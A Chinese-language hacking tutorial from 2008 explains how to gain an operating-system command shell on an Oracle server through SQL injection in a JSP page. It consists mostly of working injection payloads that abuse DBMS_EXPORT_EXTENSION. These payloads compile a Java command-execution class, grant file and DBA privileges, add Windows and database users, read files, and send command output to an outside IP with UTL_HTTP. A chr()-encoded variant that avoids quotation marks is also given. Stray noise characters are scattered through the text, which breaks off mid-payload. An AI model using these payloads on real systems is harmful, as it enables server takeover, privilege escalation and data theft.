3 I/ N( u8 d. N1 {3 e; Q
! @3 K6 H9 c! ?0 ^' k" H) f m介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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2 {0 F9 H% u! K" H以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成! h7 v& S t$ J1 z3 G, }
: M. b" d% k+ T/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....): F; A' W' B( U0 K3 j8 a+ a1 K
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的形式即可。(用" 'a'|| "是为了让语句返回true值)
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语句有点长,可能要用post提交。
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/ G( G3 l+ c$ d( i! H$ B) U; W+ ]以下是各个步骤:; D% Q7 \0 {: T
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1.创建包
3 b0 v0 u, U, r; b/ G% e V通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:5 a$ N" J% w$ l/ S6 J
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/xxx.jsp?id=1 and '1'<>'a'||(! J0 P3 I% m; J# I
- u) L1 d% w3 W5 c9 A( c) tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 G/ \) H9 i. E( U0 }) a
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(! q) \0 [8 H! ?% t/ u" X
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}/ @7 }& Y; u3 ^+ \0 |& ?" y- W- ]+ B
}'''';END;'';END;--','SYS',0,'1',0) from dual
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% l; `( t7 N8 h7 n |, e1 C------------------------/ S5 Z/ m$ q. d8 W. J4 r
如果url有长度限制,可以把readFile()函数块去掉,即: X) Y1 Y. Q0 w. Q C
/xxx.jsp?id=1 and '1'<>'a'||(
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1 ^# p; _' I0 t" U1 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; T* G3 p- N( i0 s! v* m4 k" ecreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(% P9 b3 q C, S# O
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 x6 a3 E1 B6 q' y' r}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
% A# O6 Y9 _0 g8 c------------------------------+ t ~5 _; h9 S" A9 @% e
. [+ @! G! S8 L% j8 R% z2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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6 L5 m9 @6 y( f1 }! b! |3.创建函数5 J9 e- ? o2 l6 n# P& p
& J, r0 U' g+ g' n; x1 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 l; S9 w# _) q* p. n
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual" q, U# ~: M/ N0 E
P2 k7 B* U2 G* ^# _$ S0 g! dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ S. H2 g( I& G& I# N0 N. |create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限% P) A' f& P+ K0 K/ R8 i9 y$ F4 t
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual; T, v8 w. b, I. ?- j
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5.测试上面的几步是否成功4 V' c7 A* {% O
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select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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and '1'<>(
2 s D1 L" f9 r; l$ Tselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:3 U( ]* E& l$ y- L2 k
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/xxx.jsp?id=1 and '1'<>(
2 d5 Y1 P/ w; a' f' X* zselect sys.LinxRunCMD('cmd /c net user linx /add') from dual; U; Y6 Q* I1 ]" }( g, A$ B
)) }4 C; B. M1 W4 F
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/xxx.jsp?id=1 and '1'<>(
% s0 j7 f" T, tselect sys.LinxReadFile('c:/boot.ini') from dual
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, j+ j5 c( L7 m, t$ ?注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
& F0 s: T, N% D$ T如果要查看运行结果可以用 union :2 w3 ^( G% w( ]" k/ a9 C. B4 r
- }) p! [4 u% c' ~/ W7 z/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual' ~3 R4 t" Z, B' `/ V& a F
8 e& A. P% ]6 ^2 o
或者UTL_HTTP.request(:1 C k1 I; A4 Q
% w9 h3 G9 P) e/ W9 j* l/xxx.jsp?id=1 and '1'<>(
4 O# @1 C2 }0 g2 \; KSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual, c3 y2 |4 K0 H* q- l
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual& R/ V& i7 m0 w5 v: h7 L2 B/ n
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; ]4 Q$ d; E9 Q注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。/ {) D1 P/ z# B0 \1 _
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" B6 `, e4 a0 Z% K2 W8 t--------------------
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6.内部变化5 i( a, g7 S P. s2 q
通过以下命令可以查看all_objects表达改变:7 |% C: k$ O6 d9 e' D
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
+ V: b- ~8 C/ v# u; U; Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! i J+ G8 S9 }) Z3 g
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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( b& v1 A+ f8 n( x- i====================================================
: x1 X, y& s3 C4 F全文结束。谨以此文赠与我的朋友。
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% I1 d0 y& o! wlinx$ m4 n$ J4 `/ m) l, Q/ i$ L
124829445! Z" b6 |$ e% E% [ h' ]4 o( p. J
2008.1.12
. h: A# y @% ]- }) m1 Q) Vlinyujian@bjfu.edu.cn- U" w' U( p" j3 U& `" L! J( Q6 A
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/ a/ M+ [7 f8 w$ W======================================================================
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4 {- p) S1 Q% V测试漏洞的另一方法:) p: f/ X) D6 ~# O6 F' R
; F) k* P: ]0 \. |, J创建oracle帐号:
, X7 S0 B) l2 K' {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! I% `/ p* e" S: d/ `' w4 T& BCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:$ _4 b5 u: ~7 C3 d# N9 S- f W
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% x# Z( d% Q; S0 i% A/ tchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:! v& a8 h* f5 v1 N' L6 |" k; c% Y" r( _
1<>(
6 W; H8 c' A0 R& bselect user_id from all_users where username='LINXSQL'' O F0 g2 ?* k) r$ x: m3 _3 I
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给linxsql连接权限:# S# E/ y! h; i. R: j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 s* g. T& z g/ L: tGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual* @+ Y" g5 V7 R1 J" {; o! W3 Y
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删除帐号:0 M5 \$ K' D+ k, e0 e9 X) e: F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( u2 p' }& D- B' k1 {
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:# U" a7 s9 P" F& F8 a3 _0 d
7 \; h7 k1 M3 {( d9 T/ J( [( F1.jsp?id=1 and '1'<>(# H6 ~: t) C' e1 e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% X% l/ R' P9 p8 Q2 x. c- Dcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
( s! |$ u0 L5 a! F. P1 x* p) and ...
5 A. w: k$ t* l6 I) \1 n2 ~3 I/ j" y1 c% s* j& E, b: Z
1.jsp?id=1 and '1'<>(6 ~# m P/ s6 E2 ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
3 D# N b- U* W) and ... Z$ B; z1 Q: N/ c$ K8 g3 G: O
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1.jsp?id=1 and '1'<>(
0 {4 L6 s/ o9 e% |3 ]: |. [) Y$ [SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL: q# H; c6 t% @: i. j
) and ...2 E5 W; g: r+ N% `& M
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9 M# \9 m& m2 f! K( R6 K' D+ O, G1.jsp?id=1 and '1'<>(! N/ s2 Q0 A4 l. }
SELECT sys.Linx_Query('declare pragma: f% V6 I: n4 C% L/ _
autonomous_transaction; begin execute immediate ''. z) z+ l$ x1 \' r% A6 G' x& E) x$ K
select 1 from dual
. B9 u) K7 S1 o0 Q, I) u''; commit; end;') from dual
3 V5 s/ [/ F, v7 Q) and ...9 u0 V% _+ u5 O! Q- @0 \
9 d$ b- E+ d% S5 M5 x2 n
多语句:* H; i3 i; X/ M) k4 J) g6 L, F1 A
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):5 W* j1 |- ^* i: D$ s: E1 p
SELECT sys.Linx_Query('declare pragma' b2 m; Z1 ]$ B, v
autonomous_transaction; begin execute immediate ''
' T5 t: K1 m) x6 HCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User& K) [2 T. V4 L1 f4 B
''; commit; end;') from dual
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7 P: D$ F, a) D. x' J9 V================
* G- ^- B0 R) N9 h y0 U以下的方法是先建立函数Linx_Query(),再建立 RunCMD2(): A8 b7 t5 F5 x3 u$ w7 u' `
$ X& x" O1 |0 u- c1.创建函数! T- l( o# n: y t8 e5 m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ M8 \) b. M+ e2 V0 ncreate or replace function Linx_Query (p
3 i+ w- i3 h7 h, ?. \varchar2) return number authid current_user is begin execute immediate
7 _, Y$ S7 n* Yp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;( \+ N. G9 H3 N+ c& P: Q! g; h( t
0 s- S" {# j; D& X! T如果有权限,以下语句应该允许正常" Z/ z: o; j4 M* C0 [
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:
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+ {8 _3 ^0 B- `; g5 K# X6 Cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 W" V) `" I- D. Bgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual$ [/ @# u- x, X. D' o
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2.创建包
! }6 U; `5 h/ g- l: USELECT sys.Linx_Query('declare pragma e L4 i5 q j P
autonomous_transaction; begin execute immediate ''+ ]3 z: q) `7 n" I
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(( X# v# M6 K# d- I% s! V* ~
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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3.创建函数
# A9 Y- ~$ N( `( v* _0 `SELECT sys.Linx_Query('declare pragma2 `$ P) ]+ O# M! g
autonomous_transaction; begin execute immediate ''
1 g$ K' e# W( V# z3 wcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual" T2 q2 O+ e1 a" j
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4.给权限
/ n% O! A* c. H: u给用户SYSTEM执行权限:
2 F# g) X6 J# j+ I0 Z
1 x' X$ h/ g. mSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
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/ e, Q: ]" V6 N& e5.执行函数: H' M2 W W- {% l2 V. U$ X
select RunCMD2('cmd /c dir') from dual
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" ~4 E" N! C1 S4 x==================
; q6 `* ~- K( l3 p) s7 y================================8 N6 n: V' N, l1 ]6 f5 X' |
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以下是无 " ' " 版:
2 @( E" ]: \$ Z) |7 H( ]! p/ r6 S
以下是各个步骤:8 o1 u8 f; f c# C% l
% ?: E# b# [, Z* m0 ~: e1.创建包- h+ F( H( ~+ I |9 p0 a
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
' o/ p1 v4 O7 n6 {# T6 R, r因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
7 ^' Z: r) r2 Z3 ^' F+ [2 s* S4 K( E+ C; \( ]$ P$ W
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
- q4 p r; P$ g' A9 U* C1 Q# ?7 i% ]! Z4 I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
/ ^; B- ~/ A# k0 J, A, ]chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 J7 T* y/ U ^0 j* V% }
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
& {. c, j8 a/ ]- s2 q; C/ H+ Q! Hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
9 _7 h* X, ^3 jchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
9 V' L4 l7 q" N( E/ n! Z, H hchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||$ c9 s5 s& y2 q& M; o/ b
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
7 @- k- R0 |) p' j: Q, u# X7 s9 ]chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
& x. q: N% q& D& [chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
+ j- v7 y# k+ Ichr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||( b+ ?3 e! t+ `6 `7 D: R5 c
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||8 d5 h! w8 j* u
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
! S% S1 u) K' h) l: m( rchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
7 W$ w$ y( n$ H schr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
# h" M7 s$ \. Ichr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
# k) v7 _; ~+ _* ]7 mchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||' j X/ [! O1 r, ~8 D
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
- ^! w8 }0 M4 Z( uchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||. r+ |1 D! W* X
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||" Y/ A$ E4 s! M* `
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||: f7 \6 N: @) a3 N5 k8 `: ^7 o
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||9 X' B/ f7 F( Q8 i" b, S* U6 U
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||, R. A" _: |3 ?2 T# X& b6 W9 n
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||7 K/ X9 m( t0 Z7 S
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||: P9 D9 F( p( j
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||% {- p5 w. I+ L9 \
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||7 b) ^$ t& ~1 p; ^/ J# M ~
